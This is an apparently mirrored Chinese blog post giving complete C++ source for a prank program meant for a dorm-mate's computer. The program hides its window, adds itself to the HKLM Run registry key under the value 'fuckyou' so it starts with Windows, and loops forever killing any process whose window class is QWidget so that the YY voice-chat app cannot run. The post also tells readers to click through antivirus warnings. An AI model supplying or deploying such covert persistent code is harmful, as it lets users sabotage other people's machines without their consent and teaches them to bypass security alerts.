zoukankan      html  css  js  c++  java
  • [vc]让你Y的用YY

    朋友宿舍有个孩子老是晚上别人要睡觉他玩YY叫唤,就让我写个弱智程序让他开不了YY,下面是代码

    #include <windows.h>
    #include <stdio.h>
    #pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
    
    void Fuck()
    {
        unsigned long id_num;
        while(1)
        {
            Sleep(500);
            HWND hWnd = ::FindWindow("QWidget", NULL); 
            GetWindowThreadProcessId(hWnd, &id_num); 
            HANDLE hd = OpenProcess(PROCESS_ALL_ACCESS,FALSE, id_num);
            TerminateProcess(hd, 0); 
        }
    }
    void autorun()
    {
        TCHAR szModName[256];
        GetModuleFileName(0,szModName,50);
    
        char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
        HKEY hkResult;
        int ret = RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
    
        DWORD      WordType = REG_SZ;     
        DWORD      WordData = 100;
        LPBYTE     KeyByte  = new  BYTE[1024];
        memset(KeyByte,0,1024);
        ret = RegQueryValueEx(hkResult,"fuckyou",NULL,&WordType,(LPBYTE)KeyByte, &WordData);
        if(ret != ERROR_SUCCESS)
        {
            ret=RegSetValueEx(hkResult,"fuckyou",0,REG_SZ,(const unsigned char *)szModName,100);
            if(ret==0)
            {
                printf("success to write run key\n");
                RegCloseKey(hkResult);
            }
            else
            {
                printf("failed to open regedit.%d\n",ret);
            }
        }
    }
    int main()
    {
        autorun();
        Fuck();
        return 0;
    }

    第一次运行的时候,杀软什么的可能会提示有加入新注册表项,允许就好了。

  • 相关阅读:
    Python基础09 面向对象的进一步拓展
    Python快速教程 (手册)
    Python基础03 序列
    Python基础04 运算
    Python基础08 面向对象的基本概念
    Python基础07 函数
    Python基础10 反过头来看看
    Python基础05 缩进和选择
    Python进阶02 文本文件的输入输出
    Python进阶01 词典
  • 原文地址:https://www.cnblogs.com/co1d7urt/p/2764346.html
Copyright © 2011-2022 走看看